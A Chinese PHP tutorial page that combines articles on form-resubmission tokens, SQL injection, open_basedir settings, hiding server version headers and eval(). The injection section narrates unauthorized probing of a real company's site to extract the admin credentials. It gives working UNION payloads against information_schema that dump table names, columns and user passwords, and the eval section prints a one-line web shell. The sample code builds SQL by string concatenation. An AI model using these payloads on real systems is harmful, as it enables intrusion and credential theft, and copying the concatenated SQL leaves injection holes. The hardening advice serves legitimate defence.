真正解决表单重复提交问题php代码

 更新时间:2016年11月25日 15:22  点击:1505
以前看过很多各种防止表单重复提交js或jquery程序,但这种只是一个简单的方法,如果我们不从这个页面提交表单,直接找到接受数据的页面这种js处理方法就无效了,下面我利用php一些方法来解决。

以前用的js表单防止重复提交方法

 代码如下 复制代码

<script type="text/javascript">
var checkSubmitFlg = false;
function checkSubmit() {
 if (!checkSubmitFlg) {

// 第一次提交
  checkSubmitFlg = true;
  return true;
 } else {

//重复提交
  alert("Submit again!");
  return false;
 }
}
</script>

//以下三种方式分别调用

<form onsubmit="return checkSubmit();">

<input type="submit" onclick="return checkSubmit();" />

<input type="button" onclick="document.forms[0].action='./test';document.forms[0].submit();return checkSubmit();" />

这样如果我直接做一个表单,然后提交给/test,上面代理就是一个摆设了,那我们要如何解决此问题

如果您已经知道如何解决的话那么这篇文章可能不适合你的口味,paperen这里也打算从基础开始讨论,所以希望一步看到解决方案的您也可能不太适合,所以请注意。So~开始吧 ~

paperen想您一定知道表单是什么吧,form元素就是表单,一般网页需要输入的地方必定使用了表单元素,也很常见,一般的代码如下:

 代码如下 复制代码

    <form
    
    method="post">
    <p>
    <label for="test">随便输入点什么www.111cn.net</label>
    <input type="text" name="data" id="test" />
    </p>
    <p>
    <input type="submit" value="提交" name="submit" />
    </p>
    </ul>
    </form>

重点其实是form与input元素,p元素只是paperen私自加上去的,对后续的说明没有任何影响,其实很简单,所谓input就是输入了,你可以完全将input 元素理解为是用作用户输入,只是某些属性的(type)不能作为输入而已(这里就是submit),而form元素你完全可以将它理解为是一个袋子,将所有用户输入数据到装在它里面之后用 来提交回服务端处理,但对于form元素值得注意的是method属性,一般来说有get与post两种方法,其实不要想得太复杂(因为深入的不需要太理解,对于后续的内容没有太多关系,如 有兴趣不妨可以使用浏览器的调试工具查看请求头部信息与发送信息,例如firebug),表现出来就是,使用get提交表单的话所有的input元素的值将会在地址栏处出现,而post则不会, 例如使用get提交此表单后的浏览器地址栏

 代码如下 复制代码

http://localhost/mytest/token/form.php?data=test&submit=%E6%8F%90%E4%BA%A4

post则在 地址栏看不到了,使用fiebug可以看到如下信息

可以简单认为get是显式传送数据的,而 post则是隐式传送数据的,但还有一个很大区别的是post支持更多更大的数据传送。

Next,当表单代码写好了,那么让我们来进行服务器脚本的编写(这里就是PHP)。很简单 ~

   

 代码如下 复制代码
<?php
    if ( isset( $_POST['submit'] ) ) {
    //表单提交处理
    $data = isset( $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) :
    
    '';
    //Insert or Update数据库
    $sql = "insert into test (`string`) values ('$data')";
    //do query
    echo $sql;
    }
    ?>

因为这里是post传送数据的,所以使用PHP的$_POST全局变量就能获取到表单提交的数据,所有使用post方法的表单数据提交到服务端都会被保存在这个$_POST全局变 量中,不妨可以试试print_r( $_POST )这个变量你就明白了。

首先检查一下是否在$_POST数组里面存在submit,如果存在则证明是表单提交过来的,正如asp.net中好像有个 叫ispostback的一样,只是这样没那么严谨而已,但是不要紧之后会解决这个问题的。

之后接收输入框的数据,就是$_POST['data'],别忘了使用htmlspecialchars对这个进 行一下html过滤,因为防止输入了html标签或javascript造成问题(貌似叫做XSS漏洞)。最后就是拼接到sql语句中送入数据库跑了(只是这里paperen并没有很详细使用一些操作数据库的 函数例如mysql_query,有兴趣自己完成它)。恭喜,到了这里你已经顺利地完成了一个数据录入的功能了,但是有个地方你总得改善吧,插入数据后总得给操作者一个提示吧~~至少提示 我操作失败还是成功。所以整个代码paperen写成以下样子。

   

 代码如下 复制代码

<?php
    if ( isset( $_POST['submit'] ) ) {
    //表单提交处理
    $data = isset(
    
    $_POST['data'] ) ? htmlspecialchars( $_POST['data'] ) : '';
    //connect
    mysql_connect( 'localhost', 'root', 'root' );
    
    //select db
    mysql_select_db( 'test' );
    //设置字符集防止乱码
    mysql_query( 'set names "utf8"' );
    //SQL
    $sql = "insert
    
    into `token` (string) values ('$data')";
    //query
    mysql_query( $sql );
    $insert_id = mysql_insert_id();
    if (
    
    $insert_id ) {
    $state = 1;
    } else {
    $state = 0;
    }
    }
    ?>

    <?php if ( isset( $state )

    && $state ) { //数据插入成功 ?>

    <p>插入成功 <a href="form.php">返回</a></p>

    <?php } else { //失败或者没有插入动

    作 ?>

    <form method="post">

    <p>

    <label for="test">随便输入点什么</label>

    <input type="text"

    name="data" id="test" />

    </p>

    <p>

    <input type="submit" value="提交" name="submit" />

    </p>

    </ul>

    </form>

    <?php } ?>

html的声明与head还有body都省略了,对比于一开始的代码其实主要是实现了真正插入数据库动作与给出 了操作反馈(通过$state变量),不妨自己拷贝代码然后试试(当然请根据自己实际情况修改数据库操作部分的代码)。代码正常,逻辑没问题,但是有个问题,就是在显示插入成功后再刷新页 面又会执行了表单处理动作,又插了一遍数据!这就是所谓的重复插入问题。在放出解决方案之前您可以自己思考一下该如何解决。

你会不会认为是接收数据与显示处理结果都是 这个页面所以才会导致这个问题?也对,也可以这么认为,使用一些调试工具你会发现,浏览器还对post的数据进行了保留,故在提交完表单后再刷新的话该post数据会重新提交了一遍。

如果有办法将浏览器的这个临时保存的post数据清空掉不就解决问题了,但服务端是没法 做到这点的,因为这是浏览器自身的事情,要么我们就重定向了不然再刷新还是会重复提交数据。

到目前为止也许你已经了解到重复提交的意思与问题的恶劣所在,如果 你不是选用重定向的办法那么就得另外想一个办法了,所以令牌解决办法就是这么过来的。

正如令牌本身代表着权限,操作权,身份标志等等,所以我能不能为我的表单加上这么 一个身份标志,在客户端每次请求这个表单的时候同时生成一个令牌其挂钩,在提交时再进行判断,正确则接收并处理表单。实现本质就是如此,而反映到具体实现上,就需要用到一种叫 session的东西。关于session的解析,参见wiki

简单的理解就是session也是一种令 牌的概念,所以你可能会很惊奇,“什么我已经使用了令牌?!”,是的,但是我们要实现的不仅仅是session而是在其基础上附加一些数据来实现我们想要的表单令牌。So let's do it!

session在php中也是被存放在$_SESSION这个超级全局变量里面的,启用起请使用session_start(),关于其他服务端脚本原理一样,只是可能调用方法名不一致而已。加入 token后的代码如下:

 

 代码如下 复制代码
   <?php
    //开启session
    session_start();
    if ( isset( $_POST['submit'] ) && valid_token() ) {
    //表单
    
    提交处理
    }
    
    /**
    * 生成令牌
    * @return string MD5加密后的时间戳
    */
    function create_token() {
    //当前时间戳
    
    $timestamp = time();
    $_SESSION['token'] = $timestamp;
    return md5( $timestamp );
    }
    /**
    * 是否有效令牌
    * @return bool
    
    
    */
    function valid_token() {
    if ( isset( $_SESSION['token'] ) && isset( $_POST['token'] ) && $_POST['token'] == md5(
    
    $_SESSION['token'] ) )
    {
    //若正确将本次令牌销毁掉
    $_SESSION['token'] = '';
    return true;
    }
    return false;
    }
    ?>
    <?php if ( isset( $state ) && $state ) { //数据插入成功 ?>
    <p>插入成功 <a href="form.php">返回
    
    </a></p>
    <?php } else { //失败或者没有插入动作 ?>
    <form method="post">
    <p>
    <label for="test">随便
    
    输入点什么</label>
    <input type="text" name="data" id="test" />
    </p>
    <p>
    <input type="submit" value="提
    
    交" name="submit" />
    </p>
    </ul>
    <!-- Token -->
    <input type="hidden" value="<?php echo create_token(); //生成
    
    令牌 ?>" name="token" />
    <!-- Token -->
    </form>
    <?php } ?>

部分代码paperen这里省略,因为并不是重点,其实加的 东西只有3处:

第一,在表单结束前加入了一个input元素,记得type为hidden(隐藏域)

第二,增加了两个函数,create_token与valid_token,前者用来生成令牌 的后者用来验证令牌的

第三,在if中多加一个条件,valid_token

那就大功告成了,很简单,而且所有的东西都聚集在新加的两个函数中。paperen这里使用的令牌很 简单就是时间戳,将请求表单时的时间戳存储到$_SESSION['token']中,那么验证令牌就明白了,就是检查客户端提交过来的$_POST['token']是否与md5后的$_SESSION['token']一致 就行了,当然还要加上存在$_POST['token']与$_SESSION['token']这两个变量才行。

你可以将这个简单的令牌模式封装得更加棒并扩展一下功能,例如加上表单提交超时验证 也是个不错的动手机会。

最后附上之前paperen扩展codeingeter的Form_validation类文件,主要是扩展上令牌与表单超时。压缩包中welcome.php是控制器文件,请放置到 applicationcontroller中(如不想增加这个控制器可以打开然后将token方法复制下来放到已有的其他控制器中);MY_Form_validation.php请放到applicationlibraries中。

codeingeter的Form_validation类文件代码

 代码如下 复制代码

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Welcome extends CI_Controller {


 public function index()
 {
  $this->load->view('welcome_message');
 }

        public function token()
        {
            $this->load->helper( array('form') );
            $this->load->library('form_validation');
            if ( $this->input->post( 'submit' ) && $this->form_validation->valid_token() )
            {
                //nothing
                //valid_token已经包含令牌超时与令牌正确的判断,若要启用令牌超时,请将token_validtime设置为非0
                echo 'ok';
            }

            //生成表单令牌
            $token = $this->form_validation->create_token();

            //form example
            echo form_open();
            echo form_input('token', '');
            echo $token;
            echo form_submit('submit', 'submit');
            echo form_close();
        }
}

form_validation_token

 代码如下 复制代码

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * @abstract 继承CI的Form_validation类在其基础上增加令牌
 */
class MY_Form_validation extends CI_Form_validation {

    /**
     * 令牌键值
     * @var string
     */
    var $key = 'token';
   
    /**
     * 表单令牌有效时间(秒)
     * @abstract 如果某些表单需要限制输入时间,则设置该值,为0则不限制
     * @var int 秒
     */
    var $token_validtime = 5;

    /**
     * 调试模式
     * @var bool
     */
    var $debug = false;

    /**
     * CI对象
     * @var <type>
     */
    private $_CI;

    public function __construct()
    {
        parent::__construct();
        $this->_CI =& get_instance();
        //如果配置没有填写encryption_key
        $encryption_key = config_item('encryption_key');
        if ( empty( $encryption_key ) ) $this->_CI->config->set_item( 'encryption_key', $this->key );
        //如果没有装载session
        if ( !isset( $this->_CI->session ) ) $this->_CI->load->library('session');
    }

    /**
     * 设置令牌有效时间
     * @param int $second 秒数
     */
    public function set_token_validtime( $second )
    {
        $this->token_validtime = intval( $second );
    }

    /**
     * 获取表单令牌有效时间
     * @return int 秒数
     */
    public function get_token_validtime()
    {
        return $this->token_validtime;
    }

    /**
     * 验证表单令牌是否合法
     * @return bool
     */
    public function valid_token()
    {
        if ( $this->debug ) return true;
        //获取session中的hash
        $source_hash = $this->_CI->session->userdata( $this->key );
        if ( empty( $source_hash ) ) return false;
       
        //判断是否超时
        if ( $this->is_token_exprie() ) return false;

        //提交的hash
        $post_formhash = $this->_CI->input->post( $this->key );
        if ( empty( $post_formhash ) ) return false;

        if ( md5( $source_hash ) == $post_formhash )
        {
            $this->_CI->session->unset_userdata( $this->key );
            return true;
        }
        return false;
    }

    /**
     * 生成表单令牌(连同input元素)
     * @return string
     */
    public function create_token( $output = false )
    {
        $code = time() . '|' .  $this->get_random( 5 );
        $this->_CI->session->set_userdata( $this->key , $code);
        $result = function_exists('form_hidden') ? form_hidden( $this->key, md5( $code ) ) : '<input type="hidden" name="token" value="'. md5( $code ) .'" />';
        if ( $output )
        {
            echo $result;
        }
        else
        {
            return $result;
        }
    }
   
    /**
     * 获取随机数(自己可以扩展)
     * @param int $number 上限
     * @return string
     */
    public function get_random( $number )
    {
        return rand( 0, $number );
    }
   
    /**
     * 判断表单令牌是否过期
     * @return bool
     */
    public function is_token_exprie()
    {
        if ( empty( $this->token_validtime ) ) return false;
        $token = $this->_CI->session->userdata( $this->key );
        if ( empty( $token ) ) return false;
        $create_time = array_shift( explode('|', $token) );
        return ( time() - $create_time > $this->token_validtime );
    }
}

SQL注入就是利用你语法或接受数据处理上的一些bug进行爆数据库,然后下载你的数据或直接获取你的管理员进入一些对网站有影响的操作,但在SQL注入中我们有那些bug给人利用呢,下面小编收集了一些初级与稍高级一点的方法,只共学习参考使用,其它一律不管。

最基本的sql注入漏洞方法

今天早上学院开了个会,说了些关于毕业实习与设计的安排之类的还有说明天有个企业来招聘,让有兴趣的人回去登录他们公司的网站看看。paperen我当然是没有这个兴趣的啦,但是宿舍的小华同学就有点兴趣,回来就上了他们的网站。但是……?

paperen我也瞅了几眼,网站不咋的啊,asp的,也不知道为啥突然想也去踩踩,看看有没有存在sql注入漏洞,登上他们的网站,看了几个页面,去到公司新闻那,有一条新闻url是xwzx_content.asp?id=456(很正常的传值,根据id值去查数据库并显示相应的数据,也很合理),但是……?

paperen我将参数改为xwzx_content.asp?id=456 and 1=1试了试,发现与id=456显示是一样的。(并不能证明是否存在漏洞)?

然后又试试这个

 代码如下 复制代码
xwzx_content.asp?id=456 and '1'='1

结果是

提示错误由此可以判断出存在漏洞,因为你可以在自己的数据库随便找个表来试试这个语句?

select * from table where id=1 and 1=1(某一条记录的id号),其实加上and 1=1与不加是一样的结果,因为1=1是true的,sql肯定可以执行过去,但如果你是1=2的话就不行了,因为很显然1不等于2,为false所以查不到任何数据。?

然后继续去构造语句xwzx_content.asp?id=456 or 1=1,结果是

得出这个结果也是很显然的,因为or上一个1=1(ture)结果也是true的,无论你的id号为456这条数据是否存在都会查出所有数据记录。?

从上面几个操作就证实了sql注入漏洞确实在这个页面存在,下面开始正式的注入爆出我们想得到的信息,主要是看你的RP。?

我们需要使用union联合查询出其管理密码与账号。当然前提是你要去猜出管理员那个表的名字。?

paperen我第一个想到的就是管理员,试试吧。

1.xwzx_content.asp?id=456?union select?* from 管理员结果是


提示字段数不匹配,那么我们再去猜它的字段数吧

1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理员结果是


看来是猜对了,这个表中共有10个字段,其中4这个字段会被显示到页面中。可能大家不太明白这里到底是什么回事,paperen我不妨放出一个自己在mysql中的一个截图。

1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?

看到第二行的1,2,3,4,5了吧,反正自己领会领会吧,关于union这个联合查询不知道大家有没有用过,简单地说就是将别的表的数据都查询过来。?

再来猜他放管理员账号那个字段名,我就猜是name吧。

1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理员结果是


这就证明猜错了,继续猜叫管理员,嘻嘻,果然有了。


爆出管理员的账号是管理员,再来爆他的密码,就猜叫password吧。

1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理员结果是


密码是32位的,应该是MD5加密的,ctrl+c一下到一些在线解MD5的网站一查,密码竟然也是管理员……这安全意识也太差了吧。?

账号有了密码也有了,还差什么?很明显是后台地址,但是paperen我还是找不到啊,蒙不对地址,看到这里不知道大家是不是有些少失望,唉,paperen我也有点,但是算了,我还要发表博文呢,先不花时间去碰了。反正这个网站给我的印象就是不太好,公司估计也不咋的吧。?

其实要入侵一个网站真的不是很容易的,要防入侵也是很不容易的,但是从上面说的这些可以看出某些观点去防止出现这种很低级的错误。?

1.对get传参的参数进行过滤与判断

2.不要参照某些开源的程序的数据库表或表名去建立自己的数据库

3.要使用比较复杂的密码,至少不要管理员,管理员888之类的

4.放后台文件的文件夹名字最好改得特别点,不要让人轻易猜到

5.对于asp网站的数据库文件最好改后缀为asp的,防止被下载?


稍微高级一点的SQL注入

还记得在“你是这样处理来自$_GET的数据吗 ”里面写到的那个SQL,

 代码如下 复制代码
1.$sql = 'select * from goods where id='.$id;

不对传入来的数据进行任何过滤甚至不用单引号抱起来会导致的问题在那篇文章中已经说的比较明确了,如果您能猜到数据库其他表的话还能查到其他表的内容,而这次paperen想说一些使用这个漏洞更高级的一个技巧。

假如你已经证实了此处存在漏洞,(怎样证明?简单来说分别测试一下将参数改为id=1=1与id=1=2再看页面就能知道是否存在漏洞,如果显示信息不一样或出错则证明存在漏洞),但是即使证实了有漏洞但猜不到其他表的表名怎办。使用一个很邪恶的招数,先放出注入URL。

爆出目前数据库名

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns

然后将获得数据库test的hex值后再爆出该test数据库中的表名(获得test的hex值 select hex('test') 放到mysql中跑一下就可以看到结果了,74657374前面再加上0x,十六进制数)

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374

然后在将表user的hex值放入去,查user表的字段,现在是DISTINCT(column_name)了,最好加上and如果有不止一个数据库有user表的话可能得出的结果会误导你。

1.URL:

 代码如下 复制代码
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374

you see!已经一步步地获得了我们想要的信息了,是不是有点意思呢?所以paperen说这种东西搞上来会上瘾的。

然后直接爆出他的user表的明码。

 代码如下 复制代码

URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user

但是user表里面可能不止一个用户数据,那么就加上limit吧

 代码如下 复制代码
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1

然后将获得的密码拿去
破解获得明码,再知道后台路径,使用用户帐号与破解的密码登陆到后台吧,但是paperen后面两个步骤也是看你人品的,如果密码被搞得比较复杂,你也很难破解,即使你破解了也得要找到后台地址。So……就到此为止了。就是娱乐一下。(PS:你还可以用load_file将服务器一些文件内容弄到,前提是你也要猜到文件的路径)

open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树,包括文件本身了,并且不受是不是安全模式的影响。


如下是php.ini中的原文说明以及默认配置:
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir = .
open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也
可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。例如设置成:
"open_basedir = /dir/user/"


open_basedir也可以同时设置多个目录, 在Windows中用分号分隔目录,在任何其它系统中用
冒号分隔目录。当其作用于Apache模块时,父目录中的open_basedir路径自动被继承。


有三种方法可以在Apache中为指定的用户做独立的设置:


(a) 在Apache的httpd.conf中Directory的相应设置方法:


php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /usr/local/apache/htdocs/:/tmp/

 


(b) 在Apache的httpd.conf中VirtualHost的相应设置方法:
php_admin_value open_basedir /usr/local/apache/htdocs/
#设置多个目录可以参考如下:
php_admin_value open_basedir /var/www/html/:/var/tmp/


(c) 因为VirtualHost中设置了open_basedir之后, 这个虚拟用户就不会再自动继承php.ini
中的open_basedir设置值了,这就难以达到灵活的配置措施, 所以建议您不要在VirtualHost
中设置此项限制. 例如,可以在php.ini中设置open_basedir = .:/tmp/, 这个设置表示允许
访问当前目录(即PHP脚本文件所在之目录)和/tmp/目录.


请注意: 若在php.ini所设置的上传文件临时目录为/tmp/, 那么设置open_basedir时就必须
包含/tmp/,否则会导致上传失败. 新版php则会提示"open_basedir restriction in effect"
警告信息, 但move_uploaded_file()函数仍然可以成功取出/tmp/目录下的上传文件,不知道
这是漏洞还是新功能.

今天发现使用站长工具或一些相关的工具可以直接查看到服务器所使用的php版本号与apache版本号了,这样对于网站来讲很不安全了,如果这些版本出现问题有些人就可以直接搞定了,下面我们看看隐藏版本的方法,可惜的是在windows下我暂时还没找到解决办法。

隐藏PHP版本

为了安全起见,最好还是将PHP版本隐藏,以避免一些因PHP版本漏洞而引起的攻击。

1、隐藏PHP版本就是隐藏 “X-Powered-By: PHP/5.2.13″ 这个信息。

方法很简单:

编辑php.ini配置文件,修改或加入: expose_php = Off 保存后重新启动Nginx或Apache等相应的Web服务器即可。

 代码如下 复制代码

[root@bkjz /]# curl -I www.111cn.net
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 20 Jul 2010 05:45:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding

已经彻底隐藏了PHP版本。

隐藏Apache版本号


一般情况下,软件的漏洞信息和特定版本是相关的,因此,软件的版本号对攻击者来说是很有价值的。

在默认情况下,系统会把Apache版本模块都显示出来(http返回头信息)。如果列举目录的话,会显示域名信息(文件列表正文),如:

 代码如下 复制代码

[root@localhost tmp]# curl -I 192.168.80.128:88
HTTP/1.1 403 Forbidden
Date: Wed, 21 Jul 2010 13:09:33 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
Content-Length: 5043
Connection: close
Content-Type: text/html; charset=UTF-8

隐藏方法:

1、隐藏Apache版本号的方法是修改Apache的配置文件,如RedHat系的Linux默认是:

 代码如下 复制代码

vim /etc/httpd/conf/httpd.conf

分别搜索关键字ServerTokens和ServerSignature,修改:

ServerTokens OS 修改为 ServerTokens ProductOnly

ServerSignature On 修改为 ServerSignature Off

2、重启或重新加载Apache就可以了。

 代码如下 复制代码

apachectl restart

测试一下,如下:

 代码如下 复制代码

[root@localhost tmp]# curl -I 192.168.80.128:88
HTTP/1.1 403 Forbidden
Date: Wed, 21 Jul 2010 13:23:22 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 5043
Connection: close
Content-Type: text/html; charset=UTF-8

版本号与操作系统信息已经隐藏了。

3、上面的方法是默认情况下安装的Apache,如果是编译安装的,还可以用修改源码编译的方法:

进入Apache的源码目录下的include目录,然后编辑ap_release.h这个文件,你会看到有如下变量:

 代码如下 复制代码

#define AP_SERVER_BASEVENDOR “Apache Software Foundation”
#define AP_SERVER_BASEPROJECT “Apache HTTP Server”
#define AP_SERVER_BASEPRODUCT “Apache”

#define AP_SERVER_MAJORVERSION_NUMBER 2
#define AP_SERVER_MINORVERSION_NUMBER 2
#define AP_SERVER_PATCHLEVEL_NUMBER 15
#define AP_SERVER_DEVBUILD_BOOLEAN 0

可以根据自己喜好,修改或隐藏版本号与名字。

在windows下隐藏apache与php版本号的方法我暂时还没找到,找到会在下面更新哦。

eval函数在php中是一个函数并不是系统组件函数,我们在php.ini中的disable_functions是无法禁止它的,因这他不是一个php_function哦。

eval()针对php安全来说具有很大的杀伤力 一般不用的情况下 为了防止

 代码如下 复制代码

<?php eval($_POST[cmd]);?>

使用范例

 代码如下 复制代码


<?php
$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.<br>';
echo $str;
eval( "$str = "$str";" );
echo $str;
?>


本例的传回值为
这个 $string 中装有 $name.
这个 杯子 中装有 咖啡.


或更高级点的是

 代码如下 复制代码
<?php
$str="hello world"; //比如这个是元算结果
$code= "print('n$strn');";//这个是保存在数据库内的php代码
echo($code);//打印组合后的命令,str字符串被替代了,形成一个完整的php命令,但并是不会执行
eval($code);//执行了这条命令
?>;

 你上面的咖啡的例子了,在eval里面,首先字符串被替换了,其次替换完后形成一个完整的赋值命令被执行了.

 

这样的小马砸门 需要禁止掉的

网上好多说使用disable_functions禁止掉eval 是错误的
其实eval() 是无法用php.ini中的disable_functions禁止掉的  because eval() is a language construct and not a function

eval是zend的 不是PHP_FUNCTION 函数;

php怎么禁止eval:

如果想禁掉eval 可以用 php的扩展 Suhosin

安装Suhosin后在

php.ini 中load进来Suhosin.so 加上suhosin.executor.disable_eval = on即可

总结,php eval函数在php中是无法禁用的我们也只有使用插件了

[!--infotagslink--]

相关文章

  • 不打开网页直接查看网站的源代码

      有一种方法,可以不打开网站而直接查看到这个网站的源代码..   这样可以有效地防止误入恶意网站...   在浏览器地址栏输入:   view-source:http://...2016-09-20
  • php 调用goolge地图代码

    <?php require('path.inc.php'); header('content-Type: text/html; charset=utf-8'); $borough_id = intval($_GET['id']); if(!$borough_id){ echo ' ...2016-11-25
  • JS基于Mootools实现的个性菜单效果代码

    本文实例讲述了JS基于Mootools实现的个性菜单效果代码。分享给大家供大家参考,具体如下:这里演示基于Mootools做的带动画的垂直型菜单,是一个初学者写的,用来学习Mootools的使用有帮助,下载时请注意要将外部引用的mootools...2015-10-23
  • JS+CSS实现分类动态选择及移动功能效果代码

    本文实例讲述了JS+CSS实现分类动态选择及移动功能效果代码。分享给大家供大家参考,具体如下:这是一个类似选项卡功能的选择插件,与普通的TAb区别是加入了动画效果,多用于商品类网站,用作商品分类功能,不过其它网站也可以用,...2015-10-21
  • JS实现自定义简单网页软键盘效果代码

    本文实例讲述了JS实现自定义简单网页软键盘效果。分享给大家供大家参考,具体如下:这是一款自定义的简单点的网页软键盘,没有使用任何控件,仅是为了练习JavaScript编写水平,安全性方面没有过多考虑,有顾虑的可以不用,目的是学...2015-11-08
  • php 取除连续空格与换行代码

    php 取除连续空格与换行代码,这些我们都用到str_replace与正则函数 第一种: $content=str_replace("n","",$content); echo $content; 第二种: $content=preg_replac...2016-11-25
  • php简单用户登陆程序代码

    php简单用户登陆程序代码 这些教程很对初学者来讲是很有用的哦,这款就下面这一点点代码了哦。 <center> <p>&nbsp;</p> <p>&nbsp;</p> <form name="form1...2016-11-25
  • PHP实现清除wordpress里恶意代码

    公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。恶意代码示例...2015-10-23
  • JS中artdialog弹出框控件之提交表单思路详解

    artDialog是一个基于javascript编写的对话框组件,它拥有精致的界面与友好的接口。本文给大家介绍JS中artdialog弹出框控件之提交表单思路详解,对本文感兴趣的朋友一起学习吧...2016-04-19
  • JS实现双击屏幕滚动效果代码

    本文实例讲述了JS实现双击屏幕滚动效果代码。分享给大家供大家参考,具体如下:这里演示双击滚屏效果代码的实现方法,不知道有觉得有用处的没,现在网上还有很多还在用这个特效的呢,代码分享给大家吧。运行效果截图如下:在线演...2015-10-30
  • js识别uc浏览器的代码

    其实挺简单的就是if(navigator.userAgent.indexOf('UCBrowser') > -1) {alert("uc浏览器");}else{//不是uc浏览器执行的操作}如果想测试某个浏览器的特征可以通过如下方法获取JS获取浏览器信息 浏览器代码名称:navigator...2015-11-08
  • JS日期加减,日期运算代码

    一、日期减去天数等于第二个日期function cc(dd,dadd){//可以加上错误处理var a = new Date(dd)a = a.valueOf()a = a - dadd * 24 * 60 * 60 * 1000a = new Date(a)alert(a.getFullYear() + "年" + (a.getMonth() +...2015-11-08
  • PHP开发微信支付的代码分享

    微信支付,即便交了保证金,你还是处理测试阶段,不能正式发布。必须到你通过程序测试提交订单、发货通知等数据到微信的系统中,才能申请发布。然后,因为在微信中是通过JS方式调用API,必须在微信后台设置支付授权目录,而且要到...2014-05-31
  • PHP常用的小程序代码段

    本文实例讲述了PHP常用的小程序代码段。分享给大家供大家参考,具体如下:1.计算两个时间的相差几天$startdate=strtotime("2009-12-09");$enddate=strtotime("2009-12-05");上面的php时间日期函数strtotime已经把字符串...2015-11-24
  • php怎么用拼音 简单的php中文转拼音的实现代码

    小编分享了一段简单的php中文转拼音的实现代码,代码简单易懂,适合初学php的同学参考学习。 代码如下 复制代码 <?phpfunction Pinyin($_String...2017-07-06
  • php导出csv格式数据并将数字转换成文本的思路以及代码分享

    php导出csv格式数据实现:先定义一个字符串 存储内容,例如 $exportdata = '规则111,规则222,审222,规222,服2222,规则1,规则2,规则3,匹配字符,设置时间,有效期'."/n";然后对需要保存csv的数组进行foreach循环,例如复制代...2014-06-07
  • 几种延迟加载JS代码的方法加快网页的访问速度

    本文介绍了如何延迟javascript代码的加载,加快网页的访问速度。 当一个网站有很多js代码要加载,js代码放置的位置在一定程度上将会影像网页的加载速度,为了让我们的网页加载速度更快,本文总结了一下几个注意点...2013-10-13
  • ecshop商品无限级分类代码

    ecshop商品无限级分类代码 function cat_options($spec_cat_id, $arr) { static $cat_options = array(); if (isset($cat_options[$spec_cat_id]))...2016-11-25
  • sqlserver删除重复记录并且要保留一条记录

    删除重复数据,只保留一条用SQL语句,删除掉重复项只保留一条在几千条记录里,存在着些相同的记录,如何能用SQL语句,删除掉重复的呢...2018-09-10
  • vue项目,代码提交至码云,iconfont的用法说明

    这篇文章主要介绍了vue项目,代码提交至码云,iconfont的用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-30